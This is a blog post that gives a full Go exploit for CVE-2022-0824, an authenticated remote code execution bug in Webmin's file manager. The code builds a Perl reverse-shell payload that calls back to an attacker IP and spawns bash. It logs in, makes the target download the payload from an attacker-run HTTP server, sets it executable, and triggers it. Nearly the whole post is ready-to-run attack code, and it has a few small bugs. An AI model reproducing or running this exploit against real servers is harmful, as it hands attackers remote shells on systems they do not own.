I’ve continued my quest to translate exploits into Golang. Here is an RCE in Webmin due to broken access controls. Please see the following links for more information.

https://nvd.nist.gov/vuln/detail/CVE-2022-0824

https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/

https://www.webmin.com/security.html

You can also find this code on my Github.

import (
	"bytes"
	"crypto/tls"
	"flag"
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/exec"
	"regexp"
	"runtime"
	"strings"
)

func check(e error) {
	if e != nil {
		fmt.Println(e)
	}
}

func makePayload(callbackIP string, callbackPort string) {
	payload := []byte("perl -e 'use Socket;$i=\"" + callbackIP + "\";$p=" + callbackPort + ";socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\")};'")
	err := os.WriteFile("./commands.cgi", payload, 0644)
	check(err)

	return
}

func login(client http.Client, target string, creds string) string {

	loginURL := target + "/session_login.cgi"

	params := "user=" + strings.Split(creds, ":")[0] + "&pass=" + strings.Split(creds, ":")[1]

	request, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(params))
	if err != nil {
		log.Fatal(err)
	}

	request.Header.Set("Cookie", "redirect=1; testing=1")
	request.Header.Set("Content-Type", "application/x-www-form-urlencoded")

	var sidCookie = ""

	resp, err := client.Do(request)
	if err != nil {
		log.Fatalln(err)
	} else {

		sidCookie = resp.Request.Response.Cookies()[0].Value
	}
	resp.Body.Close()
	// now use sid cookie to make sure it works to log in
	request, err = http.NewRequest("GET", target, nil)
	request.Header.Set("Cookie", "redirect=1; testing=1; sid="+sidCookie)

	resp, err = client.Do(request)
	if err != nil {
		log.Fatalln(err)
	}
	bodyBytes, err := io.ReadAll(resp.Body)
	bodyString := string(bodyBytes)
	resp.Body.Close()
	r, _ := regexp.Compile("System hostname")
	if !r.MatchString(bodyString) {
		fmt.Println("----> Unable to obtain sid cookie. Check your credentials.")
		return ""
	}

	return sidCookie
}

func runServer(serverURL string) {
	fmt.Println("--> Running a server on " + serverURL)
	serverPort := strings.Split(serverURL, ":")[1]

	exec.Command("setsid",
		"/usr/bin/python3",
		"-m",
		"http.server",
		serverPort,
		"0>&1 &").Output()

	fmt.Println("--> Server Started!")

	return
}

func downloadURL(client http.Client, target string, serverURL string, creds string, sid string) {

	URL := target + "/extensions/file-manager/http_download.cgi?module=filemin"

	serverIP := strings.Split(serverURL, ":")[0]
	serverPort := strings.Split(serverURL, ":")[1]

	bodyString := "link=http://" + serverIP + "/" + serverPort + "/commands.cgi&username=&password=&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", URL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func modifyPermissions(client http.Client, target string, serverURL string, creds string, sid string) {
	modifyURL := target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"

	bodyString := "name=commands.cgi&perms=0755&applyto=1&path=/usr/share/webmin"

	request, err := http.NewRequest("POST", modifyURL, bytes.NewBufferString(bodyString))

	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func execShell(client http.Client, target string, sid string) {
	fileLocation := target + "/commands.cgi"

	fmt.Println("--> Triggering shell. Check listener!")

	request, err := http.NewRequest("GET", fileLocation, nil)
	request.Header.Set("Cookie", "sid="+sid)

	resp, err := client.Do(request)
	if err != nil {
		fmt.Println((err))
	}

	resp.Body.Close()

	return
}

func stopServer() {
	out, _ := exec.Command("kill",
		"-9",
		"$(lsof",
		"-t",
		"-i:{self.pyhttp_port})").Output()
	fmt.Println("--> Killed Server!")
	output := string(out[:])
	fmt.Println(output)

	return
}

func main() {
	fmt.Println("--> Running Exploit! Ensure listener is running!")
	if runtime.GOOS == "windows" {
		fmt.Println("Can't Execute this on a windows machine")
		return
	}

	target := flag.String("t", "https://www.webmin.local:10000", "Target full URL, https://www.webmin.local:10000")
	creds := flag.String("c", "username:password", "Format, username:password")
	serverURL := flag.String("sl", "192.168.8.120:8787", " Http server for serving payload, ex 192.168.8.120:8080")
	callbackIP := flag.String("s", "127.0.0.1", " Callback IP to receive revshell")
	callbackPort := flag.String("p", "9999", " Callback port to receive revshell")

	flag.Parse()

	// uncomment the following to use a local proxy
	// proxyUrl, err := url.Parse("http://localhost:8080")
	// check(err)

	// tr := &http.Transport{
	// 	TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11,
	// 		MaxVersion: tls.VersionTLS11},
	// 	Proxy: http.ProxyURL(proxyUrl),
	// }
	// client := &http.Client{Transport: tr}

	// comment out these two lines if using the proxy above.
	tr := &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true, PreferServerCipherSuites: true, MinVersion: tls.VersionTLS11, MaxVersion: tls.VersionTLS12}}
	client := &http.Client{Transport: tr}

	makePayload(*callbackIP, *callbackPort)
	sid := login(*client, *target, *creds)
	runServer(*serverURL)
	downloadURL(*client, *target, *serverURL, *creds, sid)
	modifyPermissions(*client, *target, *serverURL, *creds, sid)
	execShell(*client, *target, sid)
	stopServer()
}